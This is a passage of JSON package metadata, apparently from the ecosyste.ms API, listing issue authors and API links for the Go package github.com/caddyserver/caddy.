ecosyste.ms/api/v1/hosts/GitHub/authors/WeidiDeng"},{"login":"francislavoie","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/francislavoie"},{"login":"steadytao","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/steadytao"},{"login":"dunglas","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dunglas"},{"login":"mholt","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mholt"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcaddyserver%2Fcaddy/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcaddyserver%2Fcaddy/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcaddyserver%2Fcaddy/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcaddyserver%2Fcaddy/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcaddyserver%2Fcaddy/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcaddyserver%2Fcaddy/codemeta","maintainers":[]}